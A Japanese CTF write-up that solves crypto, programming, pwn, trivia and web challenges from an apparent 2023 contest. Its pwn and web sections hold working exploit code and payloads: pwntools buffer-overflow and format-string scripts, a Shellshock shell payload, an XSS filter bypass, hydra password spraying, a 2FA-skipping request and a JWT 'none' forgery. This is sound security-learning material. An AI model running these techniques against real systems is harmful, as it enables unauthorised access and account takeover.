b4 b3 99 b3 99 b4 b4 b3 99 b3 99 b4 b4 b3 99 b3 99 b4 b3 99 b3 99 b4 b4 b4 b3 99 b3 99 b4 b4 b4 b4 b3 99 b4 b3 99 b3 99 b4 b4 b3 99 b3 99 b3 99 b4 b3 99 b3 99 b3 99 b3 99 b4 b3 99 b3 99 b4 b3 99 b4 b3 99 b4 b3 99 b4 b3 99 b4 b3 99 b3 99 b4 b3 99 b3 99 b3 99 b4 b4 b4 b3 99 b3 99 b4 b4 b4 b3 99 b4 b3 99 b3 99 b4 b4 b4 b3 99 b3 99 b4 b4 b3 99 b3 99 b4 b4 b4 b4 b4 b3 99 b3 99 b4 b4 b3 99 b4 b4 b4 b3 99 b3 99 b4 b4 b3 99 b4 b3 99 b4 b3 99 b4 b3 99 b3 99 b3 99 b3 99 b3 99 b4 b3 99 b4 b4 b3 99 b3 99 b3 99 b4 b4 b4 b3 99 b3 99 b4 b4 b4 b4 b4 b3 99 b3 99 b3 99 b4 b4 b3 99 b4 b4 b3 99 b3 99 b4 b3 99 b3 99 b4 b3 99 b4 b3 99 b3 99 b4 b4 b4 b4 b3 99 b4 b3 99 b3 99 b3 99 b3 99 b3 99 b4 b4 b4 b4 b3 99 b3 99 b4 b4 b4 b3 99 b4 b3 99 b3 99 b3 99 b3 99 b4 b3 99 b4 b4 b3 99 b4 b4 b4 b4 b4 b4 b4 b3 99 b3 99 b3 99 b4 b3 99 b4 b4 b4 b4 b3 99 b3 99 b4 b4 b4 b3 99 b4 b4 b3 99 b3 99 b4 b4 b4 b4 b4 b3 99 b3 99 b4 b3 99 b3 99 b3 99 b4 b4 b3 99 b3 99 b3 99 b3 99 b3 99 b4 b3 99

モールス信号かとも思ったが、ごちゃごちゃやってたら以下でフラグが得られた。

https://gchq.github.io/CyberChef/#recipe=Find/Replace(%7B'option':'Simple%20string','string':'%20'%7D,'',true,false,true,false)Find/Replace(%7B'option':'Simple%20string','string':'99'%7D,'%20',true,false,true,false)Find/Replace(%7B'option':'Regex','string':'b3'%7D,'1',true,false,true,false)Find/Replace(%7B'option':'Regex','string':'b4'%7D,'0',true,false,true,false)From_Binary('Space',8)

[programming] LFSR Period

次の多項式で表される長さ20ビットの線形帰還シフトレジスタ(LFSR)に、初期値 0x70109 を与えた場合の周期(もう一度 0x70109 が現れるまでのシフト回数)を10進整数で答えてください。
x20 + x15 + x11 + 1

という問題。

このあたりを見ながらLFSRを思い出して検証コードを実装した。

#include<bits/stdc++.h>
#define rep(i,a,b) for(int i=a;i<b;i++)
#define rrep(i,a,b) for(int i=a;i>=b;i--)
#define fore(i,a) for(auto &i:a)
#define all(x) (x).begin(),(x).end()
//#pragma GCC optimize ("-O3")
using namespace std; void _main(); int main() { cin.tie(0); ios::sync_with_stdio(false); _main(); }
typedef long long ll; const int inf = INT_MAX / 2; const ll infl = 1LL << 60;
template<class T>bool chmax(T& a, const T& b) { if (a < b) { a = b; return 1; } return 0; }
template<class T>bool chmin(T& a, const T& b) { if (b < a) { a = b; return 1; } return 0; }
//---------------------------------------------------------------------------------------------------
/*---------------------------------------------------------------------------------------------------
            ∧_∧
      ∧_∧  (´<_` )  Welcome to My Coding Space!
     ( ´_ゝ`) /  ⌒i     @hamayanhamayan
    /   \     | |
    /   / ̄ ̄ ̄ ̄/  |
  __(__ニつ/     _/ .| .|____
     \/____/ (u ⊃
---------------------------------------------------------------------------------------------------*/
 
 
 
// https://ja.wikipedia.org/wiki/%E7%B7%9A%E5%BD%A2%E5%B8%B0%E9%82%84%E3%82%B7%E3%83%95%E3%83%88%E3%83%AC%E3%82%B8%E3%82%B9%E3%82%BF
void _main() {
    unsigned long reg = 0x70109;
    unsigned long bit;
    unsigned long x11 = 0x1 << 9;
    unsigned long x15 = 0x1 << 5;
    unsigned long x20 = 0x1 << 0;
    unsigned int period = 0;
    do {
            bit = ((reg & x11) >> 9) ^ ((reg & x15) >> 5) ^ ((reg & x20) >> 0);
            reg = (reg >> 1) | (bit << 19);
            ++period;
    } while((reg != 0x70109) && (period <= (1<<19)));
    printf("%d\n", period);
}

[programming] Grayscale Matrix

3個のファイルに記された数値からなる行列からフラグを復元してください。

という問題で、L.txt, P.txt, U.txtというファイル名になっている。
かなりLU分解っぽいので、その辺りで探すと、
https://www.cfm.brown.edu/people/dobrush/cs52/Mathematica/Part2/PLU.html
のようにPLU decompositionというのがあり、A=PLUらしい。
実際にPLUを計算して行列Aを作ってみると、整数で[0,255]っぽい行列が得られたので、問題文に従いグレースケール画像に変換するとフラグになった。
以下sageコード。

from sage.all import *

lmat = []
with open("L.txt") as fp:
    for line in fp.readlines():
        row = []
        vals = line.split(' ')
        for val in vals:
            row.append(float(val))
        lmat.append(row)

umat = []
with open("U.txt") as fp:
    for line in fp.readlines():
        row = []
        vals = line.split(' ')
        for val in vals:
            row.append(float(val))
        umat.append(row)

pmat = []
with open("P.txt") as fp:
    for line in fp.readlines():
        row = []
        vals = line.split(' ')
        for val in vals:
            row.append(float(val))
        pmat.append(row)

ans = Matrix(pmat) * Matrix(lmat) * Matrix(umat)
print(ans.dimensions())

from PIL import Image

im = Image.new("RGB", (256, 256), (0, 0, 0))

for x in range(256):
    for y in range(256):
        col = int(ans[y][x])
        im.putpixel((x,y),(col,col,col,0))

im.save('ans.png', quality=95)

[pwn] Auth

ghidraに食わせるとこういう感じ。(見やすいように変名済み)

passResult = 0x736c6166; // "fals"
passResult2 = 0x65; // "e"
...
printf("User: ");
gets((char *)&username);
printf("Password: ");
gets((char *)&password);
res = strcmp((char *)&password,flag);
if (res == 0) {
    passResult = 0x65757274; // "true"
    passResult2 = passResult2 & 0xff00; // trueにするためにキレイにしてる
}
res = strcmp((char *)&username,"admin");
if ((res == 0) && (res = strcmp((char *)&passResult,"true"), res == 0)) {
    puts("Login succeeded!!");
    printf("flag: %s\n",flag);
    return 0;
}
puts("Invalid password...");

ユーザー名はadminでパスワードはフラグなのだが、あとの判定でpassResultに"true"が代入されて判定が続行されている。
getsはバッファオーバーフローするので、うまく使ってpassResultを"true"にする。
gdbで動かしながらスタックを見るとこんな感じ。

0000| 0x7fffffffdea0 --> 0x41414141 ('AAAA')     ← username
0008| 0x7fffffffdea8 --> 0x0 
0016| 0x7fffffffdeb0 --> 0x42424242 ('BBBB')     ← password
0024| 0x7fffffffdeb8 --> 0x0 
0032| 0x7fffffffdec0 --> 0x0 
0040| 0x7fffffffdec8 --> 0x65736c61660000 ('')

passwordを伸ばして、0x7fffffffdec8らへんを侵害する。

from pwn import *

binary_name = './auth'
context.binary = binary_name
context.log_level = "debug"
p = remote("10.10.10.15", 1001)

p.sendlineafter(b'User: ', b'admin')
p.sendlineafter(b'Password: ', b'\x00'*(8 * 3) + b'\x00\x00\x74\x72\x75\x65\x00\x00')
p.interactive()

[pwn] Festival

  budget = 1000;
  prices[0] = 100;
  prices[1] = 200;
  prices[2] = 300;
  prices[3] = 500;
  local_28 = 1000000000;

    printf("Balance : %d\n",(ulong)budget);
    puts("==Menu==");
    for (i = 0; i < 5; i = i + 1) {
      printf("%d. %s : %d\n",(ulong)(i + 1),(long)&local_68 + (long)i * 9,(ulong)prices[i]);
    }
    putchar(10);
    puts("Staff > What do you want to buy?");
    puts("Staff > Input menu number.");
    printf(" You  > ");
    __isoc99_scanf(&%d,&kind);
    puts("Staff > How many?");
    printf(" You  > ");
    __isoc99_scanf(&%d,&count);
    if ((5 < kind) || (kind < 1)) {
      printf("Staff > Invalid number!");
      return 0;
    }
    if (count < 1) {
      puts("Staff > Huh?");
      return 0;
    }
    budget = budget - count * prices[kind + -1];
    if ((int)budget < 0) break;
    if (kind == 5) {
      printf("Staff > %s\n",flag);
      return 0;
    }

種類5の品物が買えればフラグが得られるが、値段が1000000000円で、予算が1000円なので買えないという問題。
整数オーバーフローが使えそう。
細かい計算はしていないが、種類5をINT_MAXの2147483647個買ったらフラグがもらえた。

[pwn] Parrot

  __stream = fopen("flag.txt","rt");
  buf = (char *)malloc(0x30);
  fgets(buf,0x30,__stream);

  ...

  printf(" You > ");
  __isoc99_scanf("%255s",&userInput);
  printf("Parrot > ");
  printf((char *)&userInput);

Format String Attackができる問題。
最も入門的な形はprintfに入れる文字列が入った配列を参照させる形であるが、スタック的には隣にbufもあるので
そちらを参照させるようにすればフラグが手に入る。

from pwn import *

binary_name = './parrot'
context.binary = binary_name
context.log_level = "debug"
p = remote("10.10.10.15", 1003)

p.sendlineafter(b' You > ', b'%7$s')
p.recvuntil(b'Parrot > ')
print(p.recvall())

[pwn] Shock

  printf("You > ");
  fgets(userInput,0x20,stdin);
  snprintf(envExp,0x30,"s=%s",userInput);
  putenv(envExp);
  system("./bash_4.3.0 -c \'echo Shocker \\> $SHOCK level will not bring you down.\'");
  return 0;

環境変数に入力を入れて、bash 4.3.0を呼ぶ問題。
bashを見ると結構古く、その辺りを色々調べてみた感じと、問題名にあるshockを考慮すると、shellshockが使えそう。

jeholliday/shellshock: An analysis of Shellshock
にあった() { :; }; echo "pwned"が刺さる。
() { :; }; /bin/bashでシェル起動できるので、後は色々やってcat flag.txtでフラグ獲得。

[pwn] Noprotect

undefined8 main(void)

{
  char userInput [256];
  
  puts("                             _            _   ");
  puts(" _ __   ___  _ __  _ __ ___ | |_ ___  ___| |_ ");
  puts("| \'_ \\ / _ \\| \'_ \\| \'__/ _ \\| __/ _ \\/ __| __|");
  puts("| | | | (_) | |_) | | | (_) | ||  __/ (__| |_ ");
  puts("|_| |_|\\___/| .__/|_|  \\___/ \\__\\___|\\___|\\__|");
  puts("            |_|                               \n");
  putchar(10);
  printf("n0protec > ");
  gets(userInput);
  return 0;
}

とても単純なmain関数。
別途flags関数があり、そちらに制御を移すことができればフラグが手に入る。

$ pwn checksec noprotect 
[*] '/mnt/nodefender/ctf-20230805/boeisho-cyber-contest-2023/pwn-noprotect/noprotect'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

checksecを見てもスタック保護は全くない。
リターンアドレスをflags関数のものに書き換えるだけ。
(だけのはずが、久しぶりすぎて1時間刺さるのにかかった)

from pwn import *

binary_name = './noprotect'
context.binary = binary_name
context.log_level = "debug"
p = remote("10.10.10.15", 1005)

p.sendlineafter(b'n0protec > ', b'A' * (0x100 + 8) + p64(0x0000004011a6))
p.interactive()

[trivia]

知識問題。

コンピューターシステムを侵害し、身代金を目的としてデータを暗号化したり、アクセスをブロックしたりするマルウェアは何ですか。

ランサムウェア

[trivia] Behavior

知識問題。

エージェントを使用してエンドポイント上のふるまいを検知し、異常な活動を検出し、攻撃に対する即座な応答を可能にするエンドポイントセキュリティ技術は何ですか。

EDR

[trivial] Inventor

知識問題。

RSA 暗号の R の由来になった人物は誰でしょうか?ラストネームをお答えください。

https://ja.wikipedia.org/wiki/%E3%83%AD%E3%83%8A%E3%83%AB%E3%83%89%E3%83%BB%E3%83%AA%E3%83%99%E3%82%B9%E3%83%88
リベスト

[web] Basic

pcapファイルとウェブサイトが与えられるのでbasic認証を突破せよという問題。
pcapファイルを見るとBasic認証へのアクセス試行がいくつか記録されているので、そこから認証情報を抜き取ってきてウェブサイトで試すと刺さるものがある。
まじめに探すと大変なので、WireSharkの検索機能でAuthorization:あたりで検索するといい感じに見れる。

[web] Discovery

謎のURLが与えられるので、ざっくりフラグを見つけてという問題。
ディレクトリスキャニングで目的のパスを見つける。

gobuster dir -u "http://10.10.10.6/Wg6LQhmX/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x .php,.html
/games                (Status: 301) [Size: 241] [--> http://10.10.10.6/Wg6LQhmX/games/]
gobuster dir -u "http://10.10.10.6/Wg6LQhmX/games/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x .php,.html
/admin.html           (Status: 200) [Size: 19]

http://10.10.10.6/Wg6LQhmX/games/admin.html
にフラグが置いてあった。

[web] Bypass

XSS<script>alert(1)</script>を引き起こす問題。
普通に入力を入れると<>alert(1)</>のようにscriptが消されてしまう。
あと、出力時は基本エスケープされて出力される。

年齢を入力する所があるが、UI上は数値のみに限定されている。 だが、Burp Suiteなどで送るデータを改ざんすることで文字列を送ることもでき、実際出力されるときはそれに甘えて

<input type="text" class="form-control" id="age" value="<>alert(1)</>" disabled>

のようにエスケープされずに出力される。
よって">[任意のhtmlタグ]<div x="のようにすれば任意のhtmlタグを差し込むことができ、XSSに一歩近づく。
残った問題はscriptが消される問題だが、1つの文字列に対して1度しか消されないようで、scrscriptiptのようにすれば真ん中のscriptが消えてscriptを残せる。
よって、"><scrscriptipt>alert(1)</scrscriptipt><div x="でフラグ獲得。

[web] Spray

社員情報が見られるウェブサイトとその認証情報が与えられる。
社員数は100人らしいが、そのうち1人が脆弱なパスワード「password」もしくは「123456789」を利用している。
この脆弱なパスワードを使用しているユーザーの認証情報を特定せよという問題。

ユーザー名の候補を探してくる必要がある。
与えられる認証情報がuser1なので、user1~user100がユーザー名だろうと決めてかかると自分のように6時間ほどハマる。
社員情報を以下のように全部持ってきて、そこからユーザー名っぽいものを抽出してくる。

import requests

BASE_URL = 'http://10.10.10.7'

for id in range(101):
    userid = f'user{id}'
    r = requests.get(BASE_URL + f'/mpk5tdbu/prof.php?id={id}', cookies={'PHPSESSID': '6th4dh40p4drpkfctueo3m65pv'}).text
    print(r)

どれを使うかであるが、メールアドレスのユーザー名部分をユーザー名の候補として使用するのが正解パスだった。
それを辞書としてusers.txtとして保存して、hydraでログイン総当たりする。

$ hydra -L users.txt -p 123456789 10.10.10.7 http-post-form "/mpk5tdbu/login.php:userID=^USER^&password=^PASS^:正しくありません"   
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-06 07:59:17
[DATA] max 16 tasks per 1 server, overall 16 tasks, 100 login tries (l:100/p:1), ~7 tries per task
[DATA] attacking http-post-form://10.10.10.7:80/mpk5tdbu/login.php:userID=^USER^&password=^PASS^:正しくありません
[80][http-post-form] host: 10.10.10.7   login: kimi_ihara   password: 123456789
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-06 07:59:26

認証情報を得ることができ、これを使ってログインすればフラグ獲得。

[web] Location

ログインに使える認証情報が1組与えられ、ウェブサイトのどこかにあるflag.txtというファイルの中身を見るのがゴールの問題。
以下のセキュリティ対策が実施されているとのこと。

ID とパスワードでの認証
多要素認証
一般ユーザーと管理者で表示できるページを分けている
機密情報(flag.txt)にはアクセス制限をかけている

認証情報を使ってログインしてみると、二要素認証が要求される。
二要素認証のバグで突破できないか色々試すが何も刺さらない。
かなり実験したがあきらめてヒントを見る。

認証タイプを選ばない、という選択肢もあります

んー、その辺は死ぬほど試したけど…と思ったが消して試したことがないことに気づく。
認証情報を打ち込むとPOST /multi.phpへリクエストが飛ぶが、そこにあるmultiというパラメタを消せば二要素認証をスキップできる。

POST /multi.php HTTP/1.1
Host: 10.10.10.8
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=vruch6j793gk6g7jm84sr8p0ma
Connection: close

username=test&password=password

これでログイン可能。
ログイン後はtokenにJWTが追加される。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoidXNlciIsImlwIjoiMTAuMTAuMTAuMTAifQ.YWY4MWJhYTVlY2YzNDc5OGJiN2ZmZTNjMzMyYmZlYWJjOWI1MTVkOTgwMzlmM2VjNjZiNWIyMjE3ZWM0YTM0Zg

header: { "alg": "HS256", "typ": "JWT" }
payload: { "account": "user", "ip": "10.10.10.10" }

accountにuserとあり、ここをadminにできれば管理者権限で色々できそうである。
色々実験すると、JWTのnoneを使った攻撃が刺さった。

import jwt
payload = {
  "account": "admin",
  "ip": "10.10.10.10"
}
res = jwt.encode(payload, '', algorithm='none')
print(res)

これで新しくファイルが参照できるPOST /file.phpにアクセス可能になる。
id=flagで参照してみるが、alert("このファイルは外部からアクセス可能ではありません。");と言われる。
内部外部を見ていそう?
JWTにipという情報が含まれていたことを思い出し、ip部分を127.0.0.1に変更してJWTトークンを作り直して再度id=flagを見るとフラグが得られた。